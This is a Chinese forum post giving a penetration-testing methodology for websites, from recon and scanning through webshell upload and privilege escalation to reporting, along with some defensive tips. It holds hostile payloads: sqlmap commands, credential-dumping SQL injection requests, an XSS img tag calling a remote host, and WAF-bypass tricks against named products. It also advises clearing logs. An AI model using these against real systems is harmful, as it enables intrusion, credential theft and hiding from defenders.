找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 232|回复: 0

拿到一个web站点如何做渗透测试

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184652
发表于 2022-5-16 13:42:24 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
本帖最后由 mind 于 2022-5-18 19:59 编辑

在获取书面授权的前提下进行


第一步:信息收集

前端语言、后端语言、中间件、服务器、版本号、开放的端口,真实IP,子目录爬取,注册人信息whois查询,旁站扫描,网站指纹获取(CMS)


1.png
(1)、dirsearch先走一遍,看看都有啥可访问的点

(2)、Goby走一波端口和开放的服务

(3)、AWVS走一遍,看看有啥现成的漏洞没有。

(4)、如果存在sql注入,用sqlmap有一波,再用burp的fuzz看看他过滤了什么关键词

(5)、如果没有,看常规漏洞挨着走一遍,弱口令,序列化等等。

(6)、域名信息收集:需要知道哪些domain是该公司的,主要通过手工来收集



(7)、子域名收集:subdomain lijiejie的子域名收集工具(个人觉得挺好用的);



第二步:漏洞扫描

根据第一步收集的信息,测试是否出现漏洞,确定注入点,有漏洞的服务和开放的可爆破端口,查看网页上有没有SQL注入或者XSS注入点配合burp进行测试。
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等


漏洞扫描工具





第三步漏洞利用

根据前的测试出的漏洞,尝试获取webshell,上传小马/大马。尝试提权,扫描内网主机是否有漏洞

第四步:权限提升

提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权


第五步:日志清理


第五步:总结报告及修复方案


指纹信息:


操作系统

语言


中间件


数据库类型

积累记录

sqlmap,怎么对一个注入点注入?
1)如果是get型号,直接,sqlmap -u “诸如点网址”.
2) 如果是post型诸如点,可以sqlmap -u “注入点网址” –data=”post的参数”
3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r “文件地址”

nmap,扫描的几种方式


sql注入的几种类型?
1)报错注入
2)bool型注入
3)延时注入
4)宽字节注入

报错注入的函数有哪些?


盲注和延时注入的共同点?
都是一个字符一个字符的判断

如何拿一个网站的webshell?
上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

sql注入写文件都有哪些函数?

如何防止CSRF?
1,验证referer
2,验证token
详细:
浅谈cnode社区如何防止csrf攻击 - CNode技术社区


owasp 漏洞都有哪些?
1、SQL注入防护方法:
2、失效的身份认证和会话管理
3、跨站脚本攻击XSS
4、直接引用不安全的对象
5、安全配置错误
6、敏感信息泄露
7、缺少功能级的访问控制
8、跨站请求伪造CSRF
9、使用含有已知漏洞的组件
10、未验证的重定向和转发


SQL注入防护方法?
1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。


代码执行,文件读取,命令执行的函数都有哪些?
1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
src指定一个远程的脚本文件,获取referer
img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。
1,远程服务器修改apache配置文件,配置.jpg文件以php方式来解析
AddType application/x-httpd-php .jpg

<img src=http://xss.tv/1.jpg>


会以php方式来解析


代码审计
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()


绕过walf

1、关键字可以用%(只限IIS系列)。比如select,可以sel%e%ct。原理:网络层waf对SEL%E%CT进行url解码后变成SEL%E%CT,匹配select失败,而进入asp.dll对SEL%E%CT进行url解码却变成select。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤掉09-0d(09是tab键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss也是同理。

2、通杀的,内联注释。安全狗不拦截,但是安全宝、加速乐、D盾等,看到/!/就Fack了,所以只限于安全狗。比如:/!select*/

3、编码。这个方法对waf很有效果,因为一般waf会解码,但是我们利用这个特点,进行两次编码,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等都可以这样bypass的。

4,绕过策略一:伪造搜索引擎

早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎

5,360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截

  • GET /pen/news.php?id=1 union select user,password from mysql.user

  • GET /pen/news.php/admin?id=1 union select user,password from mysql.user

  • GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user


6,multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。

7,参数绕过,复制参数,id=1&id=1

用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格

8,内联注释,

文件上传,复制文件包一份再加一份

在 form-data;后面增加一定的字符


宽字符注入

宽字符:解 决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件一般是 my.ini,Linux下的MySQL配置文件一般是my.cnf,比如:mysql_query(“SETcharacter_set_client=binary”);。character_set_client指定的是SQL语句的编码,如果设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。


网络渗透Web 安全测试黑客 (Hacker)



参考:

1. https://blog.csdn.net/u012582664/article/details/60953554

2. https://blog.csdn.net/x7rslt/article/details/80964774

3. https://www.csdn.net/tags/MtzaUg2sMzAwMDgtYmxvZwO0O0OO0O0O.html
4. https://blog.csdn.net/sinat_27042305/article/details/60877680
5. http://www.javashuo.com/article/p-hxnvrscr-kv.html



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-4 13:14

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表